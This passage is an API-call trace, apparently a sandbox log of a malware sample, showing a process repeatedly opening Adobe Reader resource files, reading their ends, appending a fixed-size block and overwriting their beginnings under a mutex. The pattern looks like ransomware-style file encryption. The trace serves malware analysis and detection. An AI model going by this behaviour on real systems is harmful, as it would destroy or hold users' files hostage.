lpBuffer=0x2736338*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.338] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0042.338] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.338] CloseHandle (hObject=0x1ac) returned 1 [0042.339] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rus.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rus.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.340] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.340] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x8000 [0042.340] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.340] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.340] ReleaseMutex (hMutex=0x128) returned 1 [0042.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rus.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rus.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rus.hyp", lpUsedDefaultChar=0x0) returned 7 [0042.340] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.341] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7000 [0042.341] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.342] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7000 [0042.342] WriteFile (in: hFile=0x1ac, lpBuffer=0x2736338*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736338*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.342] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0042.342] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.343] CloseHandle (hObject=0x1ac) returned 1 [0042.343] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slo113.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slo113.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.344] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.344] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x3bfc6 [0042.344] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.344] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.344] ReleaseMutex (hMutex=0x128) returned 1 [0042.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slo113.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slo113.hsp", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slo113.hsp", lpUsedDefaultChar=0x0) returned 10 [0042.344] ReadFile (in: hFile=0x1cc, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.346] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3afc6 [0042.346] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.346] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3afc6 [0042.347] WriteFile (in: hFile=0x1cc, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.347] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0042.347] WriteFile (in: hFile=0x1cc, lpBuffer=0x3a45df8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.347] CloseHandle (hObject=0x1cc) returned 1 [0042.347] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\spn62.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\spn62.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.348] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.348] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x84800 [0042.349] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.349] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.349] ReleaseMutex (hMutex=0x128) returned 1 [0042.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spn62.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spn62.ths", cchWideChar=9, lpMultiByteStr=0x1e6338c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spn62.ths", lpUsedDefaultChar=0x0) returned 9 [0042.349] ReadFile (in: hFile=0x1cc, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.350] ReadFile (in: hFile=0x1cc, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.351] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x83800 [0042.351] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.759] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x83800 [0042.760] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.760] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0042.760] WriteFile (in: hFile=0x1cc, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0042.761] WriteFile (in: hFile=0x1cc, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.761] CloseHandle (hObject=0x1cc) returned 1 [0042.765] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\usa.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\usa.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.770] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.770] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x123c [0042.774] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.774] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.775] ReleaseMutex (hMutex=0x128) returned 1 [0042.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="usa.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="usa.fca", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="usa.fca", lpUsedDefaultChar=0x0) returned 7 [0042.775] ReadFile (in: hFile=0x1cc, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x123c, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2f4f2bc*=0x123c, lpOverlapped=0x0) returned 1 [0042.785] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0042.785] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x17c4, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x17c4, lpOverlapped=0x0) returned 1 [0042.785] CloseHandle (hObject=0x1cc) returned 1 [0042.785] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0213.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0213.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.787] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.788] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x29ed0 [0042.788] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.788] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.788] ReleaseMutex (hMutex=0x128) returned 1 [0042.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JISX0213.txt", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0042.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JISX0213.txt", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JISX0213.txt", lpUsedDefaultChar=0x0) returned 12 [0042.788] ReadFile (in: hFile=0x1cc, lpBuffer=0x3a45df8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.790] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x28ed0 [0042.790] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.791] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x28ed0 [0042.791] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.792] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0042.792] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.792] CloseHandle (hObject=0x1cc) returned 1 [0042.792] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\FARSI.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\farsi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.794] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.794] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6145 [0042.794] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.794] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.794] ReleaseMutex (hMutex=0x128) returned 1 [0042.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FARSI.TXT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FARSI.TXT", cchWideChar=9, lpMultiByteStr=0x1e6338c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FARSI.TXT", lpUsedDefaultChar=0x0) returned 9 [0042.794] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.795] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5145 [0042.796] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.796] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5145 [0042.797] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.797] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0042.797] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.797] CloseHandle (hObject=0x1cc) returned 1 [0042.797] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.798] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.798] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x3219 [0042.798] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.798] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.798] ReleaseMutex (hMutex=0x128) returned 1 [0042.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TURKISH.TXT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TURKISH.TXT", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TURKISH.TXT", lpUsedDefaultChar=0x0) returned 11 [0042.799] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.800] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2219 [0042.800] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.801] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2219 [0042.802] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.802] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0042.802] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.802] CloseHandle (hObject=0x1cc) returned 1 [0042.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.803] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.803] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2522 [0042.803] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.803] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.804] ReleaseMutex (hMutex=0x128) returned 1 [0042.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1258.TXT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1258.TXT", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP1258.TXT", 